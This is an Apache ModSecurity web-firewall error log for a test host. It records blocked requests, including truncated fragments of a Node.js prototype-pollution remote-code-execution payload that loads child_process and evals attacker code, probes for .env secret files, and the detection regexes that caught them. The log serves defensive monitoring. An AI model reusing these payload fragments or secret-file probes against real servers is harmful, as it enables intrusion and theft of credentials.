[Wed Dec 31 07:58:01.758367 2025] [:error] [pid 1096229] [client 213.209.159.150:55532] [client 213.209.159.150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJefQKzXypmCfOdoSIvAAAAB0&quot;]
[Wed Dec 31 07:58:01.758571 2025] [:error] [pid 1096229] [client 213.209.159.150:55532] [client 213.209.159.150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJefQKzXypmCfOdoSIvAAAAB0&quot;]
[Wed Dec 31 10:20:31.160210 2025] [:error] [pid 1096230] [client 68.183.216.71:46876] [client 68.183.216.71] ModSecurity: Rule 7fe6fe351898 [id &quot;932110&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;258&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTq36EcFrchDKsCVPqzsgAAAB4&quot;]
[Wed Dec 31 10:20:31.160307 2025] [:error] [pid 1096230] [client 68.183.216.71:46876] [client 68.183.216.71] ModSecurity: Rule 7fe6fe346760 [id &quot;932115&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;298&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTq36EcFrchDKsCVPqzsgAAAB4&quot;]
[Wed Dec 31 10:20:31.161997 2025] [:error] [pid 1096230] [client 68.183.216.71:46876] [client 68.183.216.71] ModSecurity: Warning. Pattern match &quot;(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;350&quot;] [id &quot;933160&quot;] [msg &quot;PHP Injection Attack: High-Risk PHP Function Call Found&quot;] [data &quot;Matched Data: eval(user_code);            Promise.resolve(val).then(function(v) {                var res_str = (typeof v === &#039;object&#039;) ? JSON.stringify(v) : String(v);                try { res_str = zlib.deflateSync(res_str); } catch(e) {}                var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString(&#039;hex&#039;);                reject(Object.assign(new Error(&#039;RCE_RES&#039;), { digest: res_hex }));            }).catch(function(e) {                reject(Object.assign(new Er...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_C [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTq36EcFrchDKsCVPqzsgAAAB4&quot;]
[Wed Dec 31 10:20:31.162138 2025] [:error] [pid 1096230] [client 68.183.216.71:46876] [client 68.183.216.71] ModSecurity: Rule 7fe6fdf97bf8 [id &quot;933210&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;][line &quot;504&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTq36EcFrchDKsCVPqzsgAAAB4&quot;]
[Wed Dec 31 10:20:31.162291 2025] [:error] [pid 1096230] [client 68.183.216.71:46876] [client 68.183.216.71] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTq36EcFrchDKsCVPqzsgAAAB4&quot;]
[Wed Dec 31 10:20:31.162452 2025] [:error] [pid 1096230] [client 68.183.216.71:46876] [client 68.183.216.71] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTq36EcFrchDKsCVPqzsgAAAB4&quot;]
[Wed Dec 31 10:20:31.164160 2025] [:error] [pid 1096230] [client 68.183.216.71:46876] [client 68.183.216.71] ModSecurity: Rule 7fe6febc9320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTq36EcFrchDKsCVPqzsgAAAB4&quot;]
[Wed Dec 31 10:20:31.164292 2025] [:error] [pid 1096230] [client 68.183.216.71:46876] [client 68.183.216.71] ModSecurity: Rule 7fe6febc0030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTq36EcFrchDKsCVPqzsgAAAB4&quot;]
[Wed Dec 31 10:20:31.170716 2025] [:error] [pid 1096230] [client 68.183.216.71:46876] [client 68.183.216.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTq36EcFrchDKsCVPqzsgAAAB4&quot;]
[Wed Dec 31 10:20:31.170910 2025] [:error] [pid 1096230] [client 68.183.216.71:46876] [client 68.183.216.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTq36EcFrchDKsCVPqzsgAAAB4&quot;]
[Mon Jan 05 10:44:51.101742 2026] [:error] [pid 1204259] [client 165.227.141.188:48002] [client 165.227.141.188] ModSecurity: Rule 7f0a0e4f3898 [id &quot;932110&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;258&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVuIE9Jw6kFewQCNRU_kiAAAAAI&quot;]
[Mon Jan 05 10:44:51.102741 2026] [:error] [pid 1204259] [client 165.227.141.188:48002] [client 165.227.141.188] ModSecurity: Rule 7f0a0e4e8760 [id &quot;932115&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;298&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVuIE9Jw6kFewQCNRU_kiAAAAAI&quot;]
[Mon Jan 05 10:44:51.104482 2026] [:error] [pid 1204259] [client 165.227.141.188:48002] [client 165.227.141.188] ModSecurity: Warning. Pattern match &quot;(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;350&quot;] [id &quot;933160&quot;] [msg &quot;PHP Injection Attack: High-Risk PHP Function Call Found&quot;] [data &quot;Matched Data: eval(user_code);            Promise.resolve(val).then(function(v) {                var res_str = (typeof v === &#039;object&#039;) ? JSON.stringify(v) : String(v);                try { res_str = zlib.deflateSync(res_str); } catch(e) {}                var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString(&#039;hex&#039;);                reject(Object.assign(new Error(&#039;RCE_RES&#039;), { digest: res_hex }));            }).catch(function(e) {                reject(Object.assign(new Er...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_C [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVuIE9Jw6kFewQCNRU_kiAAAAAI&quot;]
[Mon Jan 05 10:44:51.104690 2026] [:error] [pid 1204259] [client 165.227.141.188:48002] [client 165.227.141.188] ModSecurity: Rule 7f0a0e139bf8 [id &quot;933210&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;][line &quot;504&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVuIE9Jw6kFewQCNRU_kiAAAAAI&quot;]
[Mon Jan 05 10:44:51.104849 2026] [:error] [pid 1204259] [client 165.227.141.188:48002] [client 165.227.141.188] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVuIE9Jw6kFewQCNRU_kiAAAAAI&quot;]
[Mon Jan 05 10:44:51.105009 2026] [:error] [pid 1204259] [client 165.227.141.188:48002] [client 165.227.141.188] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVuIE9Jw6kFewQCNRU_kiAAAAAI&quot;]
[Mon Jan 05 10:44:51.106717 2026] [:error] [pid 1204259] [client 165.227.141.188:48002] [client 165.227.141.188] ModSecurity: Rule 7f0a0ed6b320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVuIE9Jw6kFewQCNRU_kiAAAAAI&quot;]
[Mon Jan 05 10:44:51.106851 2026] [:error] [pid 1204259] [client 165.227.141.188:48002] [client 165.227.141.188] ModSecurity: Rule 7f0a0ed62030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVuIE9Jw6kFewQCNRU_kiAAAAAI&quot;]
[Mon Jan 05 10:44:51.113349 2026] [:error] [pid 1204259] [client 165.227.141.188:48002] [client 165.227.141.188] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVuIE9Jw6kFewQCNRU_kiAAAAAI&quot;]
[Mon Jan 05 10:44:51.113501 2026] [:error] [pid 1204259] [client 165.227.141.188:48002] [client 165.227.141.188] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVuIE9Jw6kFewQCNRU_kiAAAAAI&quot;]
[Mon Jan 05 17:22:22.082521 2026] [:error] [pid 1204263] [client 204.76.203.25:36510] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aVvlPgNJZFYtKMqnhvTNoAAAAAU&quot;]
[Mon Jan 05 17:22:22.082785 2026] [:error] [pid 1204263] [client 204.76.203.25:36510] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aVvlPgNJZFYtKMqnhvTNoAAAAAU&quot;]
[Mon Jan 05 17:22:22.082930 2026] [:error] [pid 1204263] [client 204.76.203.25:36510] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aVvlPgNJZFYtKMqnhvTNoAAAAAU&quot;]
[Fri Jan 09 12:55:21.171323 2026] [:error] [pid 1295009] [client 45.148.10.87:32596] [client 45.148.10.87] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aWDsqROQmYLXvoRWxa_UggAAAAc&quot;]
[Fri Jan 09 12:55:21.172627 2026] [:error] [pid 1295009] [client 45.148.10.87:32596] [client 45.148.10.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aWDsqROQmYLXvoRWxa_UggAAAAc&quot;]
[Fri Jan 09 12:55:21.172791 2026] [:error] [pid 1295009] [client 45.148.10.87:32596] [client 45.148.10.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aWDsqROQmYLXvoRWxa_UggAAAAc&quot;]
[Fri Jan 09 12:55:21.262308 2026] [:error] [pid 1295010] [client 45.148.10.87:32602] [client 45.148.10.87] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aWDsqSTjpONdb2ogUxonjQAAAAg&quot;]
[Fri Jan 09 12:55:21.262568 2026] [:error] [pid 1295010] [client 45.148.10.87:32602] [client 45.148.10.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aWDsqSTjpONdb2ogUxonjQAAAAg&quot;]
[Fri Jan 09 12:55:21.262723 2026] [:error] [pid 1295010] [client 45.148.10.87:32602] [client 45.148.10.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aWDsqSTjpONdb2ogUxonjQAAAAg&quot;]
[Fri Jan 09 12:55:29.378906 2026] [:error] [pid 1290989] [client 45.148.10.87:30574] [client 45.148.10.87] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aWDssbwxb_CFGAx2PBFS5AAAAAQ&quot;]
[Fri Jan 09 12:55:29.379152 2026] [:error] [pid 1290989] [client 45.148.10.87:30574] [client 45.148.10.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aWDssbwxb_CFGAx2PBFS5AAAAAQ&quot;]
